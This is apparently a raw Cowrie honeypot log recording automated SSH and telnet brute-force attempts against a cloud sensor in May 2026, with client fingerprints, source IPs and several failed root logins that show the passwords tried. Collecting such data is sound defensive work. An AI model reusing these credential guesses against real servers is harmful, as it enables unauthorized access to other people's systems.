{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:48:56.403757Z","src_ip":"51.250.105.222","session":"d7b6415a80eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.84995675086975,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:01.993994Z","src_ip":"152.42.224.71","session":"d486a2e9dd98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":47130,"dst_ip":"10.17.0.5","dst_port":22,"session":"f581804534f0","protocol":"ssh","message":"New connection: 43.153.70.247:47130 (10.17.0.5:22) [session: f581804534f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:14.479689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:14.484136Z","src_ip":"43.153.70.247","session":"f581804534f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:14.552603Z","src_ip":"43.153.70.247","session":"f581804534f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gmodserver4","message":"login attempt [root/gmodserver4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:14.861793Z","src_ip":"43.153.70.247","session":"f581804534f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:15.941011Z","src_ip":"43.153.70.247","session":"f581804534f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":60776,"dst_ip":"159.203.135.109","dst_port":22,"session":"0270975a01a5","protocol":"ssh","message":"New connection: 185.236.22.41:60776 (159.203.135.109:22) [session: 0270975a01a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:17.194411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:17.200446Z","src_ip":"185.236.22.41","session":"0270975a01a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:17.317574Z","src_ip":"185.236.22.41","session":"0270975a01a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexandr","message":"login attempt [root/alexandr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:17.712897Z","src_ip":"185.236.22.41","session":"0270975a01a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33134,"dst_ip":"10.17.0.5","dst_port":23,"session":"068912099088","protocol":"telnet","message":"New connection: 152.42.224.71:33134 (10.17.0.5:23) [session: 068912099088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:18.327033Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:18.829195Z","src_ip":"185.236.22.41","session":"0270975a01a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.77697563171387,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:27.503577Z","src_ip":"152.42.224.71","session":"433e015be914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41184,"dst_ip":"10.17.0.5","dst_port":23,"session":"92d370cbbe00","protocol":"telnet","message":"New connection: 152.42.224.71:41184 (10.17.0.5:23) [session: 92d370cbbe00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:29.818789Z"}
{"eventid":"cowrie.session.closed","duration":120.00221681594849,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:32.601791Z","src_ip":"152.42.224.71","session":"d3acf0386196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":48042,"dst_ip":"159.203.135.109","dst_port":22,"session":"a61b40515f26","protocol":"ssh","message":"New connection: 43.173.84.253:48042 (159.203.135.109:22) [session: a61b40515f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:34.152208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:34.161266Z","src_ip":"43.173.84.253","session":"a61b40515f26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:34.229449Z","src_ip":"43.173.84.253","session":"a61b40515f26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123wsx","message":"login attempt [root/Qaz123wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:34.535189Z","src_ip":"43.173.84.253","session":"a61b40515f26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.275893449783325,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:35.602782Z","src_ip":"152.42.224.71","session":"068912099088","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:35.609995Z","src_ip":"43.173.84.253","session":"a61b40515f26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52414,"dst_ip":"10.17.0.5","dst_port":23,"session":"df32931cd296","protocol":"telnet","message":"New connection: 152.42.224.71:52414 (10.17.0.5:23) [session: df32931cd296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:37.791324Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":48664,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6c32faac6a9","protocol":"ssh","message":"New connection: 128.201.9.152:48664 (10.17.0.5:22) [session: b6c32faac6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:40.843717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:40.849094Z","src_ip":"128.201.9.152","session":"b6c32faac6a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:40.975611Z","src_ip":"128.201.9.152","session":"b6c32faac6a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maustin","message":"login attempt [root/maustin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:41.506778Z","src_ip":"128.201.9.152","session":"b6c32faac6a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":32836,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6ef216e7ee3","protocol":"ssh","message":"New connection: 43.135.177.217:32836 (10.17.0.5:22) [session: b6ef216e7ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:42.427545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:42.435441Z","src_ip":"43.135.177.217","session":"b6ef216e7ee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:42.503252Z","src_ip":"43.135.177.217","session":"b6ef216e7ee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:42.634310Z","src_ip":"128.201.9.152","session":"b6c32faac6a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gmodserver4","message":"login attempt [root/gmodserver4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:42.806342Z","src_ip":"43.135.177.217","session":"b6ef216e7ee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:43.877040Z","src_ip":"43.135.177.217","session":"b6ef216e7ee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52422,"dst_ip":"10.17.0.5","dst_port":23,"session":"d971bd018e48","protocol":"telnet","message":"New connection: 152.42.224.71:52422 (10.17.0.5:23) [session: d971bd018e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:44.303169Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55584,"dst_ip":"10.17.0.5","dst_port":23,"session":"454291dbaf0e","protocol":"telnet","message":"New connection: 152.42.224.71:55584 (10.17.0.5:23) [session: 454291dbaf0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:48.544139Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39334,"dst_ip":"10.17.0.5","dst_port":23,"session":"482a19fe3ca6","protocol":"telnet","message":"New connection: 152.42.224.71:39334 (10.17.0.5:23) [session: 482a19fe3ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:49:57.087304Z"}
{"eventid":"cowrie.session.closed","duration":18.292710781097412,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:02.595739Z","src_ip":"152.42.224.71","session":"d971bd018e48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.197.105","src_port":44334,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c72d54bb359","protocol":"ssh","message":"New connection: 50.6.197.105:44334 (10.17.0.5:22) [session: 1c72d54bb359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:04.656365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:04.661702Z","src_ip":"50.6.197.105","session":"1c72d54bb359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:04.711134Z","src_ip":"50.6.197.105","session":"1c72d54bb359","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:97:5e:e0:c9:0b:d4:3e:6c:34:75:72:40:a9:9b:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqFFIbotc4WrLcISsoUO4oY/V2let3FV1p5cca3AQ3oTL11Hzh4rOj9uiBfWEwWkmXga4VzHoF17tzfw2+SYwvWyuFN7FQy0ohTwzBMuD0qB4Hrp49Cr8hgCjef2Ao5jZKyCMAunpz03Nz8vCPxCiEPNgGHEGLuBN1coBRTGpwg031XKGTV15IHKay5U+jl4nALC96U0oMHjWtvVSlsIC3OmMYSVg5Abh7MIPJqMQYjv77QqW+E/8fgQrwpAjl2sSUTfiZLo+gzgv0m9c7D9+2WL5LlSPokHPFkdwQGLKZ3lWY6BpskHjKiUxaMTDafkJW6/swSZWTlbKFOXg223Pv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:97:5e:e0:c9:0b:d4:3e:6c:34:75:72:40:a9:9b:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:04.918543Z","src_ip":"50.6.197.105","session":"1c72d54bb359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:97:5e:e0:c9:0b:d4:3e:6c:34:75:72:40:a9:9b:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqFFIbotc4WrLcISsoUO4oY/V2let3FV1p5cca3AQ3oTL11Hzh4rOj9uiBfWEwWkmXga4VzHoF17tzfw2+SYwvWyuFN7FQy0ohTwzBMuD0qB4Hrp49Cr8hgCjef2Ao5jZKyCMAunpz03Nz8vCPxCiEPNgGHEGLuBN1coBRTGpwg031XKGTV15IHKay5U+jl4nALC96U0oMHjWtvVSlsIC3OmMYSVg5Abh7MIPJqMQYjv77QqW+E/8fgQrwpAjl2sSUTfiZLo+gzgv0m9c7D9+2WL5LlSPokHPFkdwQGLKZ3lWY6BpskHjKiUxaMTDafkJW6/swSZWTlbKFOXg223Pv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:04.923629Z","src_ip":"50.6.197.105","session":"1c72d54bb359","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:69:5c:ed:88:1c:43:7c:1e:0e:cf:59:dd:53:65:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCY/sqt0k4kynySmFK0q1q2RhswGM/KsXAEShNeFAimhcrKwnAsg2jBo05q+06DtV3PQLlE4x+nQWDphVXFVjcPOpmTdD3GA6S6N6IX7Qf7byf1kuESqJUr2VzlKlW52FiZ4mmvxsJu6sl0gb7hxxIZM7T/gijodcFpw9zI9BMrAHdq6Ktv1wyLUJWlfLAi/hDTc6Id5b93qiuUGuNfBNolmCWoDAiLt7JpYpyFnQc6THGkjMUmREOuGM4mtjG9Osow/X5cw8q8x66dBIwsKUHfdh2QuLSWhU+PPYXifGKSMPailPUyKCfq59K4Y//TIp6ZZAYCgQHxESXS2GwbJ0x3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:69:5c:ed:88:1c:43:7c:1e:0e:cf:59:dd:53:65:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:04.979932Z","src_ip":"50.6.197.105","session":"1c72d54bb359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:69:5c:ed:88:1c:43:7c:1e:0e:cf:59:dd:53:65:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCY/sqt0k4kynySmFK0q1q2RhswGM/KsXAEShNeFAimhcrKwnAsg2jBo05q+06DtV3PQLlE4x+nQWDphVXFVjcPOpmTdD3GA6S6N6IX7Qf7byf1kuESqJUr2VzlKlW52FiZ4mmvxsJu6sl0gb7hxxIZM7T/gijodcFpw9zI9BMrAHdq6Ktv1wyLUJWlfLAi/hDTc6Id5b93qiuUGuNfBNolmCWoDAiLt7JpYpyFnQc6THGkjMUmREOuGM4mtjG9Osow/X5cw8q8x66dBIwsKUHfdh2QuLSWhU+PPYXifGKSMPailPUyKCfq59K4Y//TIp6ZZAYCgQHxESXS2GwbJ0x3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:04.984687Z","src_ip":"50.6.197.105","session":"1c72d54bb359","protocol":"ssh"}
